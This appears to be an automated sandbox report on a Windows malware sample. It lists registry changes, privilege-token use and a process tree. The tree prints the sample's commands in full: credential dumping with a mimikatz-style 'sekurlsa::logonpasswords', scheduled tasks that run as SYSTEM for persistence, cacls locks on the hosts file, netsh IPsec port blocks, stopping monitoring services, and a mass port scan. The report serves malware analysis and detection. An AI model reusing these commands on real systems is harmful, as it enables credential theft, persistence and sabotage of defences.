\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bytszzu.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language joxnkm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language lmsemquci.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language hbnqbyuem.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5004 cmd.exe 2580 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x000b000000023b76-6.dat nsis_installer_2 behavioral2/files/0x000a000000023b8c-15.dat nsis_installer_1 behavioral2/files/0x000a000000023b8c-15.dat nsis_installer_2 -
Modifies data under HKEY_USERS 41 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" bytszzu.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" bytszzu.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ bytszzu.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" bytszzu.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing bytszzu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" bytszzu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump eybsetuye.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" eybsetuye.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ bytszzu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ bytszzu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ bytszzu.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2580 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4508 schtasks.exe 4372 schtasks.exe 2192 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe -
Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe Token: SeDebugPrivilege 1436 bytszzu.exe Token: SeDebugPrivilege 2212 bytszzu.exe Token: SeDebugPrivilege 2076 vfshost.exe Token: SeDebugPrivilege 2316 eybsetuye.exe Token: SeLockMemoryPrivilege 5100 bssyne.exe Token: SeLockMemoryPrivilege 5100 bssyne.exe Token: SeDebugPrivilege 5004 eybsetuye.exe Token: SeDebugPrivilege 1576 eybsetuye.exe Token: SeDebugPrivilege 2352 eybsetuye.exe Token: SeDebugPrivilege 2324 eybsetuye.exe Token: SeDebugPrivilege 3708 eybsetuye.exe Token: SeDebugPrivilege 3148 eybsetuye.exe Token: SeDebugPrivilege 3144 eybsetuye.exe Token: SeDebugPrivilege 3904 eybsetuye.exe Token: SeDebugPrivilege 3832 eybsetuye.exe Token: SeDebugPrivilege 3456 eybsetuye.exe Token: SeDebugPrivilege 4012 eybsetuye.exe Token: SeDebugPrivilege 4760 eybsetuye.exe Token: SeDebugPrivilege 4636 eybsetuye.exe Token: SeDebugPrivilege 724 eybsetuye.exe Token: SeDebugPrivilege 4164 eybsetuye.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe 1436 bytszzu.exe 1436 bytszzu.exe 2212 bytszzu.exe 2212 bytszzu.exe 5008 xohudmc.exe 5112 joxnkm.exe 4280 bytszzu.exe 4280 bytszzu.exe 1744 bytszzu.exe 1744 bytszzu.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1864 wrote to memory of 5004 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe 85 PID 1864 wrote to memory of 5004 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe 85 PID 1864 wrote to memory of 5004 1864 5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe 85 PID 5004 wrote to memory of 2580 5004 cmd.exe 87 PID 5004 wrote to memory of 2580 5004 cmd.exe 87 PID 5004 wrote to memory of 2580 5004 cmd.exe 87 PID 5004 wrote to memory of 1436 5004 cmd.exe 94 PID 5004 wrote to memory of 1436 5004 cmd.exe 94 PID 5004 wrote to memory of 1436 5004 cmd.exe 94 PID 2212 wrote to memory of 4560 2212 bytszzu.exe 96 PID 2212 wrote to memory of 4560 2212 bytszzu.exe 96 PID 2212 wrote to memory of 4560 2212 bytszzu.exe 96 PID 4560 wrote to memory of 728 4560 cmd.exe 98 PID 4560 wrote to memory of 728 4560 cmd.exe 98 PID 4560 wrote to memory of 728 4560 cmd.exe 98 PID 4560 wrote to memory of 1960 4560 cmd.exe 99 PID 4560 wrote to memory of 1960 4560 cmd.exe 99 PID 4560 wrote to memory of 1960 4560 cmd.exe 99 PID 4560 wrote to memory of 64 4560 cmd.exe 100 PID 4560 wrote to memory of 64 4560 cmd.exe 100 PID 4560 wrote to memory of 64 4560 cmd.exe 100 PID 4560 wrote to memory of 2208 4560 cmd.exe 101 PID 4560 wrote to memory of 2208 4560 cmd.exe 101 PID 4560 wrote to memory of 2208 4560 cmd.exe 101 PID 4560 wrote to memory of 4616 4560 cmd.exe 102 PID 4560 wrote to memory of 4616 4560 cmd.exe 102 PID 4560 wrote to memory of 4616 4560 cmd.exe 102 PID 4560 wrote to memory of 2400 4560 cmd.exe 103 PID 4560 wrote to memory of 2400 4560 cmd.exe 103 PID 4560 wrote to memory of 2400 4560 cmd.exe 103 PID 2212 wrote to memory of 2504 2212 bytszzu.exe 105 PID 2212 wrote to memory of 2504 2212 bytszzu.exe 105 PID 2212 wrote to memory of 2504 2212 bytszzu.exe 105 PID 2212 wrote to memory of 3776 2212 bytszzu.exe 107 PID 2212 wrote to memory of 3776 2212 bytszzu.exe 107 PID 2212 wrote to memory of 3776 2212 bytszzu.exe 107 PID 2212 wrote to memory of 1248 2212 bytszzu.exe 109 PID 2212 wrote to memory of 1248 2212 bytszzu.exe 109 PID 2212 wrote to memory of 1248 2212 bytszzu.exe 109 PID 2212 wrote to memory of 2908 2212 bytszzu.exe 113 PID 2212 wrote to memory of 2908 2212 bytszzu.exe 113 PID 2212 wrote to memory of 2908 2212 bytszzu.exe 113 PID 2908 wrote to memory of 4588 2908 cmd.exe 115 PID 2908 wrote to memory of 4588 2908 cmd.exe 115 PID 2908 wrote to memory of 4588 2908 cmd.exe 115 PID 4588 wrote to memory of 4260 4588 wpcap.exe 116 PID 4588 wrote to memory of 4260 4588 wpcap.exe 116 PID 4588 wrote to memory of 4260 4588 wpcap.exe 116 PID 4260 wrote to memory of 2708 4260 net.exe 118 PID 4260 wrote to memory of 2708 4260 net.exe 118 PID 4260 wrote to memory of 2708 4260 net.exe 118 PID 4588 wrote to memory of 3668 4588 wpcap.exe 119 PID 4588 wrote to memory of 3668 4588 wpcap.exe 119 PID 4588 wrote to memory of 3668 4588 wpcap.exe 119 PID 3668 wrote to memory of 4396 3668 net.exe 121 PID 3668 wrote to memory of 4396 3668 net.exe 121 PID 3668 wrote to memory of 4396 3668 net.exe 121 PID 4588 wrote to memory of 1456 4588 wpcap.exe 122 PID 4588 wrote to memory of 1456 4588 wpcap.exe 122 PID 4588 wrote to memory of 1456 4588 wpcap.exe 122 PID 1456 wrote to memory of 4080 1456 net.exe 124 PID 1456 wrote to memory of 4080 1456 net.exe 124 PID 1456 wrote to memory of 4080 1456 net.exe 124 PID 4588 wrote to memory of 456 4588 wpcap.exe 125
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1888
-
C:\Windows\TEMP\swsbcbmeu\bssyne.exe"C:\Windows\TEMP\swsbcbmeu\bssyne.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5100
-
-
C:\Users\Admin\AppData\Local\Temp\5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe"C:\Users\Admin\AppData\Local\Temp\5aa869c1cd3bd0c1f94d732765a9f0b685a35ff4924e6290cbddc7be759ffef2.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\nsyinawm\bytszzu.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:5004 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2580
-
-
C:\Windows\nsyinawm\bytszzu.exeC:\Windows\nsyinawm\bytszzu.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1436
-
-
-
C:\Windows\nsyinawm\bytszzu.exeC:\Windows\nsyinawm\bytszzu.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:4560 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:728
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:1960
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:64
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:2208
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4616
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:2400
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2504
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3776
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1248
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\vuqibqfqb\ieymcmqub\wpcap.exeC:\Windows\vuqibqfqb\ieymcmqub\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4260 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
PID:2708
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:4396
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:4080
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:456 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
PID:5112
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:3548 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:2364 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2060
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:544 -
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:1164 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:4180
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\vuqibqfqb\ieymcmqub\Scant.txt2⤵
- System Location Discovery: System Language Discovery
PID:728 -
C:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exeC:\Windows\vuqibqfqb\ieymcmqub\hbnqbyuem.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\vuqibqfqb\ieymcmqub\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3480
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\vuqibqfqb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\vuqibqfqb\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1264 -
C:\Windows\vuqibqfqb\Corporate\vfshost.exeC:\Windows\vuqibqfqb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2076
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "qsyirlhey" /ru system /tr "cmd /c C:\Windows\ime\bytszzu.exe"2⤵
- System Location Discovery: System Language Discovery
PID:3904 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4128
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "qsyirlhey" /ru system /tr "cmd /c C:\Windows\ime\bytszzu.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2192
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "nabgiiueh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:744 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4336
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "nabgiiueh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\nsyinawm\bytszzu.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4508
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bmefekubb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F"2⤵PID:1256
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:5080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bmefekubb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\swsbcbmeu\bssyne.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4372
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1012
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1096
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2852
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4804
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2280
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:208
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:5116
-
-
